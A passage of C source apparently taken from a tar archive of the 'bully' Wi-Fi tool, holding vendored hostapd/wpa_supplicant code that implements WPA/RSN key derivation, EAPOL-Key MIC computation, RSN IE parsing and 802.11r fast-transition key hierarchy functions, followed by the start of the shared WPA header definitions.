the standard and the correct behavior is * defined in the last draft (IEEE 802.11i/D10). */ int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len, u8 *mic) { u8 hash[SHA1_MAC_LEN]; switch (ver) { case WPA_KEY_INFO_TYPE_HMAC_MD5_RC4: return hmac_md5(key, 16, buf, len, mic); case WPA_KEY_INFO_TYPE_HMAC_SHA1_AES: if (hmac_sha1(key, 16, buf, len, hash)) return -1; os_memcpy(mic, hash, MD5_MAC_LEN); break; #if defined(CONFIG_IEEE80211R) || defined(CONFIG_IEEE80211W) case WPA_KEY_INFO_TYPE_AES_128_CMAC: return omac1_aes_128(key, buf, len, mic); #endif /* CONFIG_IEEE80211R || CONFIG_IEEE80211W */ default: return -1; } return 0; } /** * wpa_pmk_to_ptk - Calculate PTK from PMK, addresses, and nonces * @pmk: Pairwise master key * @pmk_len: Length of PMK * @label: Label to use in derivation * @addr1: AA or SA * @addr2: SA or AA * @nonce1: ANonce or SNonce * @nonce2: SNonce or ANonce * @ptk: Buffer for pairwise transient key * @ptk_len: Length of PTK * @use_sha256: Whether to use SHA256-based KDF * * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy * PTK = PRF-X(PMK, "Pairwise key expansion", * Min(AA, SA) || Max(AA, SA) || * Min(ANonce, SNonce) || Max(ANonce, SNonce)) * * STK = PRF-X(SMK, "Peer key expansion", * Min(MAC_I, MAC_P) || Max(MAC_I, MAC_P) || * Min(INonce, PNonce) || Max(INonce, PNonce)) */ void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label, const u8 *addr1, const u8 *addr2, const u8 *nonce1, const u8 *nonce2, u8 *ptk, size_t ptk_len, int use_sha256) { u8 data[2 * ETH_ALEN + 2 * WPA_NONCE_LEN]; if (os_memcmp(addr1, addr2, ETH_ALEN) < 0) { os_memcpy(data, addr1, ETH_ALEN); os_memcpy(data + ETH_ALEN, addr2, ETH_ALEN); } else { os_memcpy(data, addr2, ETH_ALEN); os_memcpy(data + ETH_ALEN, addr1, ETH_ALEN); } if (os_memcmp(nonce1, nonce2, WPA_NONCE_LEN) < 0) { os_memcpy(data + 2 * ETH_ALEN, nonce1, WPA_NONCE_LEN); os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce2, WPA_NONCE_LEN); } else { os_memcpy(data + 2 * ETH_ALEN, nonce2, WPA_NONCE_LEN); os_memcpy(data + 2 * ETH_ALEN + WPA_NONCE_LEN, nonce1, WPA_NONCE_LEN); } #ifdef CONFIG_IEEE80211W if (use_sha256) sha256_prf(pmk, pmk_len, label, data, sizeof(data), ptk, ptk_len); else #endif /* CONFIG_IEEE80211W */ sha1_prf(pmk, pmk_len, label, data, sizeof(data), ptk, ptk_len); wpa_printf(MSG_DEBUG, "WPA: PTK derivation - A1=" MACSTR " A2=" MACSTR, MAC2STR(addr1), MAC2STR(addr2)); wpa_hexdump_key(MSG_DEBUG, "WPA: PMK", pmk, pmk_len); wpa_hexdump_key(MSG_DEBUG, "WPA: PTK", ptk, ptk_len); } #ifdef CONFIG_IEEE80211R int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr, u8 transaction_seqnum, const u8 *mdie, size_t mdie_len, const u8 *ftie, size_t ftie_len, const u8 *rsnie, size_t rsnie_len, const u8 *ric, size_t ric_len, u8 *mic) { u8 *buf, *pos; size_t buf_len; buf_len = 2 * ETH_ALEN + 1 + mdie_len + ftie_len + rsnie_len + ric_len; buf = os_malloc(buf_len); if (buf == NULL) return -1; pos = buf; os_memcpy(pos, sta_addr, ETH_ALEN); pos += ETH_ALEN; os_memcpy(pos, ap_addr, ETH_ALEN); pos += ETH_ALEN; *pos++ = transaction_seqnum; if (rsnie) { os_memcpy(pos, rsnie, rsnie_len); pos += rsnie_len; } if (mdie) { os_memcpy(pos, mdie, mdie_len); pos += mdie_len; } if (ftie) { struct rsn_ftie *_ftie; os_memcpy(pos, ftie, ftie_len); if (ftie_len < 2 + sizeof(*_ftie)) { os_free(buf); return -1; } _ftie = (struct rsn_ftie *) (pos + 2); os_memset(_ftie->mic, 0, sizeof(_ftie->mic)); pos += ftie_len; } if (ric) { os_memcpy(pos, ric, ric_len); pos += ric_len; } wpa_hexdump(MSG_MSGDUMP, "FT: MIC data", buf, pos - buf); if (omac1_aes_128(kck, buf, pos - buf, mic)) { os_free(buf); return -1; } os_free(buf); return 0; } #endif /* CONFIG_IEEE80211R */ #ifndef CONFIG_NO_WPA2 static int rsn_selector_to_bitfield(const u8 *s) { if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_NONE) return WPA_CIPHER_NONE; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP40) return WPA_CIPHER_WEP40; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_TKIP) return WPA_CIPHER_TKIP; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_CCMP) return WPA_CIPHER_CCMP; if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_WEP104) return WPA_CIPHER_WEP104; #ifdef CONFIG_IEEE80211W if (RSN_SELECTOR_GET(s) == RSN_CIPHER_SUITE_AES_128_CMAC) return WPA_CIPHER_AES_128_CMAC; #endif /* CONFIG_IEEE80211W */ return 0; } static int rsn_key_mgmt_to_bitfield(const u8 *s) { if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_UNSPEC_802_1X) return WPA_KEY_MGMT_IEEE8021X; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X) return WPA_KEY_MGMT_PSK; #ifdef CONFIG_IEEE80211R if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_802_1X) return WPA_KEY_MGMT_FT_IEEE8021X; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_FT_PSK) return WPA_KEY_MGMT_FT_PSK; #endif /* CONFIG_IEEE80211R */ #ifdef CONFIG_IEEE80211W if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_802_1X_SHA256) return WPA_KEY_MGMT_IEEE8021X_SHA256; if (RSN_SELECTOR_GET(s) == RSN_AUTH_KEY_MGMT_PSK_SHA256) return WPA_KEY_MGMT_PSK_SHA256; #endif /* CONFIG_IEEE80211W */ return 0; } #endif /* CONFIG_NO_WPA2 */ /** * wpa_parse_wpa_ie_rsn - Parse RSN IE * @rsn_ie: Buffer containing RSN IE * @rsn_ie_len: RSN IE buffer length (including IE number and length octets) * @data: Pointer to structure that will be filled in with parsed data * Returns: 0 on success, <0 on failure */ int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len, struct wpa_ie_data *data) { #ifndef CONFIG_NO_WPA2 const struct rsn_ie_hdr *hdr; const u8 *pos; int left; int i, count; os_memset(data, 0, sizeof(*data)); data->proto = WPA_PROTO_RSN; data->pairwise_cipher = WPA_CIPHER_CCMP; data->group_cipher = WPA_CIPHER_CCMP; data->key_mgmt = WPA_KEY_MGMT_IEEE8021X; data->capabilities = 0; data->pmkid = NULL; data->num_pmkid = 0; #ifdef CONFIG_IEEE80211W data->mgmt_group_cipher = WPA_CIPHER_AES_128_CMAC; #else /* CONFIG_IEEE80211W */ data->mgmt_group_cipher = 0; #endif /* CONFIG_IEEE80211W */ if (rsn_ie_len == 0) { /* No RSN IE - fail silently */ return -1; } if (rsn_ie_len < sizeof(struct rsn_ie_hdr)) { wpa_printf(MSG_DEBUG, "%s: ie len too short %lu", __func__, (unsigned long) rsn_ie_len); return -1; } hdr = (const struct rsn_ie_hdr *) rsn_ie; if (hdr->elem_id != WLAN_EID_RSN || hdr->len != rsn_ie_len - 2 || WPA_GET_LE16(hdr->version) != RSN_VERSION) { wpa_printf(MSG_DEBUG, "%s: malformed ie or unknown version", __func__); return -2; } pos = (const u8 *) (hdr + 1); left = rsn_ie_len - sizeof(*hdr); if (left >= RSN_SELECTOR_LEN) { data->group_cipher = rsn_selector_to_bitfield(pos); #ifdef CONFIG_IEEE80211W if (data->group_cipher == WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as group " "cipher", __func__); return -1; } #endif /* CONFIG_IEEE80211W */ pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } else if (left > 0) { wpa_printf(MSG_DEBUG, "%s: ie length mismatch, %u too much", __func__, left); return -3; } if (left >= 2) { data->pairwise_cipher = 0; count = WPA_GET_LE16(pos); pos += 2; left -= 2; if (count == 0 || left < count * RSN_SELECTOR_LEN) { wpa_printf(MSG_DEBUG, "%s: ie count botch (pairwise), " "count %u left %u", __func__, count, left); return -4; } for (i = 0; i < count; i++) { data->pairwise_cipher |= rsn_selector_to_bitfield(pos); pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } #ifdef CONFIG_IEEE80211W if (data->pairwise_cipher & WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: AES-128-CMAC used as " "pairwise cipher", __func__); return -1; } #endif /* CONFIG_IEEE80211W */ } else if (left == 1) { wpa_printf(MSG_DEBUG, "%s: ie too short (for key mgmt)", __func__); return -5; } if (left >= 2) { data->key_mgmt = 0; count = WPA_GET_LE16(pos); pos += 2; left -= 2; if (count == 0 || left < count * RSN_SELECTOR_LEN) { wpa_printf(MSG_DEBUG, "%s: ie count botch (key mgmt), " "count %u left %u", __func__, count, left); return -6; } for (i = 0; i < count; i++) { data->key_mgmt |= rsn_key_mgmt_to_bitfield(pos); pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } } else if (left == 1) { wpa_printf(MSG_DEBUG, "%s: ie too short (for capabilities)", __func__); return -7; } if (left >= 2) { data->capabilities = WPA_GET_LE16(pos); pos += 2; left -= 2; } if (left >= 2) { data->num_pmkid = WPA_GET_LE16(pos); pos += 2; left -= 2; if (left < (int) data->num_pmkid * PMKID_LEN) { wpa_printf(MSG_DEBUG, "%s: PMKID underflow " "(num_pmkid=%lu left=%d)", __func__, (unsigned long) data->num_pmkid, left); data->num_pmkid = 0; return -9; } else { data->pmkid = pos; pos += data->num_pmkid * PMKID_LEN; left -= data->num_pmkid * PMKID_LEN; } } #ifdef CONFIG_IEEE80211W if (left >= 4) { data->mgmt_group_cipher = rsn_selector_to_bitfield(pos); if (data->mgmt_group_cipher != WPA_CIPHER_AES_128_CMAC) { wpa_printf(MSG_DEBUG, "%s: Unsupported management " "group cipher 0x%x", __func__, data->mgmt_group_cipher); return -10; } pos += RSN_SELECTOR_LEN; left -= RSN_SELECTOR_LEN; } #endif /* CONFIG_IEEE80211W */ if (left > 0) { wpa_printf(MSG_DEBUG, "%s: ie has %u trailing bytes - ignored", __func__, left); } return 0; #else /* CONFIG_NO_WPA2 */ return -1; #endif /* CONFIG_NO_WPA2 */ } #ifdef CONFIG_IEEE80211R /** * wpa_derive_pmk_r0 - Derive PMK-R0 and PMKR0Name * * IEEE Std 802.11r-2008 - 8.5.1.5.3 */ void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len, const u8 *ssid, size_t ssid_len, const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name) { u8 buf[1 + WPA_MAX_SSID_LEN + MOBILITY_DOMAIN_ID_LEN + 1 + FT_R0KH_ID_MAX_LEN + ETH_ALEN]; u8 *pos, r0_key_data[48], hash[32]; const u8 *addr[2]; size_t len[2]; /* * R0-Key-Data = KDF-384(XXKey, "FT-R0", * SSIDlength || SSID || MDID || R0KHlength || * R0KH-ID || S0KH-ID) * XXKey is either the second 256 bits of MSK or PSK. * PMK-R0 = L(R0-Key-Data, 0, 256) * PMK-R0Name-Salt = L(R0-Key-Data, 256, 128) */ if (ssid_len > WPA_MAX_SSID_LEN || r0kh_id_len > FT_R0KH_ID_MAX_LEN) return; pos = buf; *pos++ = ssid_len; os_memcpy(pos, ssid, ssid_len); pos += ssid_len; os_memcpy(pos, mdid, MOBILITY_DOMAIN_ID_LEN); pos += MOBILITY_DOMAIN_ID_LEN; *pos++ = r0kh_id_len; os_memcpy(pos, r0kh_id, r0kh_id_len); pos += r0kh_id_len; os_memcpy(pos, s0kh_id, ETH_ALEN); pos += ETH_ALEN; sha256_prf(xxkey, xxkey_len, "FT-R0", buf, pos - buf, r0_key_data, sizeof(r0_key_data)); os_memcpy(pmk_r0, r0_key_data, PMK_LEN); /* * PMKR0Name = Truncate-128(SHA-256("FT-R0N" || PMK-R0Name-Salt) */ addr[0] = (const u8 *) "FT-R0N"; len[0] = 6; addr[1] = r0_key_data + PMK_LEN; len[1] = 16; sha256_vector(2, addr, len, hash); os_memcpy(pmk_r0_name, hash, WPA_PMK_NAME_LEN); } /** * wpa_derive_pmk_r1_name - Derive PMKR1Name * * IEEE Std 802.11r-2008 - 8.5.1.5.4 */ void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1_name) { u8 hash[32]; const u8 *addr[4]; size_t len[4]; /* * PMKR1Name = Truncate-128(SHA-256("FT-R1N" || PMKR0Name || * R1KH-ID || S1KH-ID)) */ addr[0] = (const u8 *) "FT-R1N"; len[0] = 6; addr[1] = pmk_r0_name; len[1] = WPA_PMK_NAME_LEN; addr[2] = r1kh_id; len[2] = FT_R1KH_ID_LEN; addr[3] = s1kh_id; len[3] = ETH_ALEN; sha256_vector(4, addr, len, hash); os_memcpy(pmk_r1_name, hash, WPA_PMK_NAME_LEN); } /** * wpa_derive_pmk_r1 - Derive PMK-R1 and PMKR1Name from PMK-R0 * * IEEE Std 802.11r-2008 - 8.5.1.5.4 */ void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1, u8 *pmk_r1_name) { u8 buf[FT_R1KH_ID_LEN + ETH_ALEN]; u8 *pos; /* PMK-R1 = KDF-256(PMK-R0, "FT-R1", R1KH-ID || S1KH-ID) */ pos = buf; os_memcpy(pos, r1kh_id, FT_R1KH_ID_LEN); pos += FT_R1KH_ID_LEN; os_memcpy(pos, s1kh_id, ETH_ALEN); pos += ETH_ALEN; sha256_prf(pmk_r0, PMK_LEN, "FT-R1", buf, pos - buf, pmk_r1, PMK_LEN); wpa_derive_pmk_r1_name(pmk_r0_name, r1kh_id, s1kh_id, pmk_r1_name); } /** * wpa_pmk_r1_to_ptk - Derive PTK and PTKName from PMK-R1 * * IEEE Std 802.11r-2008 - 8.5.1.5.5 */ void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce, const u8 *sta_addr, const u8 *bssid, const u8 *pmk_r1_name, u8 *ptk, size_t ptk_len, u8 *ptk_name) { u8 buf[2 * WPA_NONCE_LEN + 2 * ETH_ALEN]; u8 *pos, hash[32]; const u8 *addr[6]; size_t len[6]; /* * PTK = KDF-PTKLen(PMK-R1, "FT-PTK", SNonce || ANonce || * BSSID || STA-ADDR) */ pos = buf; os_memcpy(pos, snonce, WPA_NONCE_LEN); pos += WPA_NONCE_LEN; os_memcpy(pos, anonce, WPA_NONCE_LEN); pos += WPA_NONCE_LEN; os_memcpy(pos, bssid, ETH_ALEN); pos += ETH_ALEN; os_memcpy(pos, sta_addr, ETH_ALEN); pos += ETH_ALEN; sha256_prf(pmk_r1, PMK_LEN, "FT-PTK", buf, pos - buf, ptk, ptk_len); /* * PTKName = Truncate-128(SHA-256(PMKR1Name || "FT-PTKN" || SNonce || * ANonce || BSSID || STA-ADDR)) */ addr[0] = pmk_r1_name; len[0] = WPA_PMK_NAME_LEN; addr[1] = (const u8 *) "FT-PTKN"; len[1] = 7; addr[2] = snonce; len[2] = WPA_NONCE_LEN; addr[3] = anonce; len[3] = WPA_NONCE_LEN; addr[4] = bssid; len[4] = ETH_ALEN; addr[5] = sta_addr; len[5] = ETH_ALEN; sha256_vector(6, addr, len, hash); os_memcpy(ptk_name, hash, WPA_PMK_NAME_LEN); } #endif /* CONFIG_IEEE80211R */ /** * rsn_pmkid - Calculate PMK identifier * @pmk: Pairwise master key * @pmk_len: Length of pmk in bytes * @aa: Authenticator address * @spa: Supplicant address * @pmkid: Buffer for PMKID * @use_sha256: Whether to use SHA256-based KDF * * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy * PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AA || SPA) */ void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa, u8 *pmkid, int use_sha256) { char *title = "PMK Name"; const u8 *addr[3]; const size_t len[3] = { 8, ETH_ALEN, ETH_ALEN }; unsigned char hash[SHA256_MAC_LEN]; addr[0] = (u8 *) title; addr[1] = aa; addr[2] = spa; #ifdef CONFIG_IEEE80211W if (use_sha256) hmac_sha256_vector(pmk, pmk_len, 3, addr, len, hash); else #endif /* CONFIG_IEEE80211W */ hmac_sha1_vector(pmk, pmk_len, 3, addr, len, hash); os_memcpy(pmkid, hash, PMKID_LEN); } /** * wpa_cipher_txt - Convert cipher suite to a text string * @cipher: Cipher suite (WPA_CIPHER_* enum) * Returns: Pointer to a text string of the cipher suite name */ const char * wpa_cipher_txt(int cipher) { switch (cipher) { case WPA_CIPHER_NONE: return "NONE"; case WPA_CIPHER_WEP40: return "WEP-40"; case WPA_CIPHER_WEP104: return "WEP-104"; case WPA_CIPHER_TKIP: return "TKIP"; case WPA_CIPHER_CCMP: return "CCMP"; case WPA_CIPHER_CCMP | WPA_CIPHER_TKIP: return "CCMP+TKIP"; default: return "UNKNOWN"; } } /** * wpa_key_mgmt_txt - Convert key management suite to a text string * @key_mgmt: Key management suite (WPA_KEY_MGMT_* enum) * @proto: WPA/WPA2 version (WPA_PROTO_*) * Returns: Pointer to a text string of the key management suite name */ const char * wpa_key_mgmt_txt(int key_mgmt, int proto) { switch (key_mgmt) { case WPA_KEY_MGMT_IEEE8021X: if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA)) return "WPA2+WPA/IEEE 802.1X/EAP"; return proto == WPA_PROTO_RSN ? "WPA2/IEEE 802.1X/EAP" : "WPA/IEEE 802.1X/EAP"; case WPA_KEY_MGMT_PSK: if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA)) return "WPA2-PSK+WPA-PSK"; return proto == WPA_PROTO_RSN ? "WPA2-PSK" : "WPA-PSK"; case WPA_KEY_MGMT_NONE: return "NONE"; case WPA_KEY_MGMT_IEEE8021X_NO_WPA: return "IEEE 802.1X (no WPA)"; #ifdef CONFIG_IEEE80211R case WPA_KEY_MGMT_FT_IEEE8021X: return "FT-EAP"; case WPA_KEY_MGMT_FT_PSK: return "FT-PSK"; #endif /* CONFIG_IEEE80211R */ #ifdef CONFIG_IEEE80211W case WPA_KEY_MGMT_IEEE8021X_SHA256: return "WPA2-EAP-SHA256"; case WPA_KEY_MGMT_PSK_SHA256: return "WPA2-PSK-SHA256"; #endif /* CONFIG_IEEE80211W */ default: return "UNKNOWN"; } } int wpa_compare_rsn_ie(int ft_initial_assoc, const u8 *ie1, size_t ie1len, const u8 *ie2, size_t ie2len) { if (ie1 == NULL || ie2 == NULL) return -1; if (ie1len == ie2len && os_memcmp(ie1, ie2, ie1len) == 0) return 0; /* identical IEs */ #ifdef CONFIG_IEEE80211R if (ft_initial_assoc) { struct wpa_ie_data ie1d, ie2d; /* * The PMKID-List in RSN IE is different between Beacon/Probe * Response/(Re)Association Request frames and EAPOL-Key * messages in FT initial mobility domain association. Allow * for this, but verify that other parts of the RSN IEs are * identical. */ if (wpa_parse_wpa_ie_rsn(ie1, ie1len, &ie1d) < 0 || wpa_parse_wpa_ie_rsn(ie2, ie2len, &ie2d) < 0) return -1; if (ie1d.proto == ie2d.proto && ie1d.pairwise_cipher == ie2d.pairwise_cipher && ie1d.group_cipher == ie2d.group_cipher && ie1d.key_mgmt == ie2d.key_mgmt && ie1d.capabilities == ie2d.capabilities && ie1d.mgmt_group_cipher == ie2d.mgmt_group_cipher) return 0; } #endif /* CONFIG_IEEE80211R */ return -1; } #ifdef CONFIG_IEEE80211R int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid) { u8 *start, *end, *rpos, *rend; int added = 0; start = ies; end = ies + ies_len; while (start < end) { if (*start == WLAN_EID_RSN) break; start += 2 + start[1]; } if (start >= end) { wpa_printf(MSG_ERROR, "FT: Could not find RSN IE in " "IEs data"); return -1; } wpa_hexdump(MSG_DEBUG, "FT: RSN IE before modification", start, 2 + start[1]); /* Find start of PMKID-Count */ rpos = start + 2; rend = rpos + start[1]; /* Skip Version and Group Data Cipher Suite */ rpos += 2 + 4; /* Skip Pairwise Cipher Suite Count and List */ rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN; /* Skip AKM Suite Count and List */ rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN; if (rpos == rend) { /* Add RSN Capabilities */ os_memmove(rpos + 2, rpos, end - rpos); *rpos++ = 0; *rpos++ = 0; } else { /* Skip RSN Capabilities */ rpos += 2; if (rpos > rend) { wpa_printf(MSG_ERROR, "FT: Could not parse RSN IE in " "IEs data"); return -1; } } if (rpos == rend) { /* No PMKID-Count field included; add it */ os_memmove(rpos + 2 + PMKID_LEN, rpos, end - rpos); WPA_PUT_LE16(rpos, 1); rpos += 2; os_memcpy(rpos, pmkid, PMKID_LEN); added += 2 + PMKID_LEN; start[1] += 2 + PMKID_LEN; } else { /* PMKID-Count was included; use it */ if (WPA_GET_LE16(rpos) != 0) { wpa_printf(MSG_ERROR, "FT: Unexpected PMKID " "in RSN IE in EAPOL-Key data"); return -1; } WPA_PUT_LE16(rpos, 1); rpos += 2; os_memmove(rpos + PMKID_LEN, rpos, end - rpos); os_memcpy(rpos, pmkid, PMKID_LEN); added += PMKID_LEN; start[1] += PMKID_LEN; } wpa_hexdump(MSG_DEBUG, "FT: RSN IE after modification " "(PMKID inserted)", start, 2 + start[1]); return added; } #endif /* CONFIG_IEEE80211R */ bully-1.4-00/src/common/wpa_common.h000077500000000000000000000247521361530463600173350ustar00rootroot00000000000000/* * WPA definitions shared between hostapd and wpa_supplicant * Copyright (c) 2002-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_COMMON_H #define WPA_COMMON_H #define WPA_MAX_SSID_LEN 32 /* IEEE 802.11i */ #define PMKID_LEN 16 #define PMK_LEN 32 #define WPA_REPLAY_COUNTER_LEN 8 #define WPA_NONCE_LEN 32 #define WPA_KEY_RSC_LEN 8 #define WPA_GMK_LEN 32 #define WPA_GTK_MAX_LEN 32 #define WPA_SELECTOR_LEN 4 #define WPA_VERSION 1 #define RSN_SELECTOR_LEN 4 #define RSN_VERSION 1 #define RSN_SELECTOR(a, b, c, d) \ ((((u32) (a)) << 24) | (((u32) (b)) << 16) | (((u32) (c)) << 8) | \ (u32) (d)) #define WPA_AUTH_KEY_MGMT_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0) #define WPA_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 2) #define WPA_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0) #define WPA_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define WPA_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x50, 0xf2, 2) #if 0 #define WPA_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x50, 0xf2, 3) #endif #define WPA_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x50, 0xf2, 4) #define WPA_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x50, 0xf2, 5) #define RSN_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #define RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #ifdef CONFIG_IEEE80211R #define RSN_AUTH_KEY_MGMT_FT_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #define RSN_AUTH_KEY_MGMT_FT_PSK RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #endif /* CONFIG_IEEE80211R */ #define RSN_AUTH_KEY_MGMT_802_1X_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #define RSN_AUTH_KEY_MGMT_PSK_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #define RSN_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x0f, 0xac, 0) #define RSN_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #define RSN_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #if 0 #define RSN_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #endif #define RSN_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #define RSN_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #ifdef CONFIG_IEEE80211W #define RSN_CIPHER_SUITE_AES_128_CMAC RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #endif /* CONFIG_IEEE80211W */ /* EAPOL-Key Key Data Encapsulation * GroupKey and PeerKey require encryption, otherwise, encryption is optional. */ #define RSN_KEY_DATA_GROUPKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 1) #if 0 #define RSN_KEY_DATA_STAKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 2) #endif #define RSN_KEY_DATA_MAC_ADDR RSN_SELECTOR(0x00, 0x0f, 0xac, 3) #define RSN_KEY_DATA_PMKID RSN_SELECTOR(0x00, 0x0f, 0xac, 4) #ifdef CONFIG_PEERKEY #define RSN_KEY_DATA_SMK RSN_SELECTOR(0x00, 0x0f, 0xac, 5) #define RSN_KEY_DATA_NONCE RSN_SELECTOR(0x00, 0x0f, 0xac, 6) #define RSN_KEY_DATA_LIFETIME RSN_SELECTOR(0x00, 0x0f, 0xac, 7) #define RSN_KEY_DATA_ERROR RSN_SELECTOR(0x00, 0x0f, 0xac, 8) #endif /* CONFIG_PEERKEY */ #ifdef CONFIG_IEEE80211W #define RSN_KEY_DATA_IGTK RSN_SELECTOR(0x00, 0x0f, 0xac, 9) #endif /* CONFIG_IEEE80211W */ #define WPA_OUI_TYPE RSN_SELECTOR(0x00, 0x50, 0xf2, 1) #define RSN_SELECTOR_PUT(a, val) WPA_PUT_BE32((u8 *) (a), (val)) #define RSN_SELECTOR_GET(a) WPA_GET_BE32((const u8 *) (a)) #define RSN_NUM_REPLAY_COUNTERS_1 0 #define RSN_NUM_REPLAY_COUNTERS_2 1 #define RSN_NUM_REPLAY_COUNTERS_4 2 #define RSN_NUM_REPLAY_COUNTERS_16 3 #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ #ifdef CONFIG_IEEE80211W #define WPA_IGTK_LEN 16 #endif /* CONFIG_IEEE80211W */ /* IEEE 802.11, 7.3.2.25.3 RSN Capabilities */ #define WPA_CAPABILITY_PREAUTH BIT(0) #define WPA_CAPABILITY_NO_PAIRWISE BIT(1) /* B2-B3: PTKSA Replay Counter */ /* B4-B5: GTKSA Replay Counter */ #define WPA_CAPABILITY_MFPR BIT(6) #define WPA_CAPABILITY_MFPC BIT(7) #define WPA_CAPABILITY_PEERKEY_ENABLED BIT(9) /* IEEE 802.11r */ #define MOBILITY_DOMAIN_ID_LEN 2 #define FT_R0KH_ID_MAX_LEN 48 #define FT_R1KH_ID_LEN 6 #define WPA_PMK_NAME_LEN 16 /* IEEE 802.11, 8.5.2 EAPOL-Key frames */ #define WPA_KEY_INFO_TYPE_MASK ((u16) (BIT(0) | BIT(1) | BIT(2))) #define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 BIT(0) #define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES BIT(1) #define WPA_KEY_INFO_TYPE_AES_128_CMAC 3 #define WPA_KEY_INFO_KEY_TYPE BIT(3) /* 1 = Pairwise, 0 = Group key */ /* bit4..5 is used in WPA, but is reserved in IEEE 802.11i/RSN */ #define WPA_KEY_INFO_KEY_INDEX_MASK (BIT(4) | BIT(5)) #define WPA_KEY_INFO_KEY_INDEX_SHIFT 4 #define WPA_KEY_INFO_INSTALL BIT(6) /* pairwise */ #define WPA_KEY_INFO_TXRX BIT(6) /* group */ #define WPA_KEY_INFO_ACK BIT(7) #define WPA_KEY_INFO_MIC BIT(8) #define WPA_KEY_INFO_SECURE BIT(9) #define WPA_KEY_INFO_ERROR BIT(10) #define WPA_KEY_INFO_REQUEST BIT(11) #define WPA_KEY_INFO_ENCR_KEY_DATA BIT(12) /* IEEE 802.11i/RSN only */ #define WPA_KEY_INFO_SMK_MESSAGE BIT(13) struct wpa_eapol_key { u8 type; /* Note: key_info, key_length, and key_data_length are unaligned */ u8 key_info[2]; /* big endian */ u8 key_length[2]; /* big endian */ u8 replay_counter[WPA_REPLAY_COUNTER_LEN]; u8 key_nonce[WPA_NONCE_LEN]; u8 key_iv[16]; u8 key_rsc[WPA_KEY_RSC_LEN]; u8 key_id[8]; /* Reserved in IEEE 802.11i/RSN */ u8 key_mic[16]; u8 key_data_length[2]; /* big endian */ /* followed by key_data_length bytes of key_data */ } STRUCT_PACKED; /** * struct wpa_ptk - 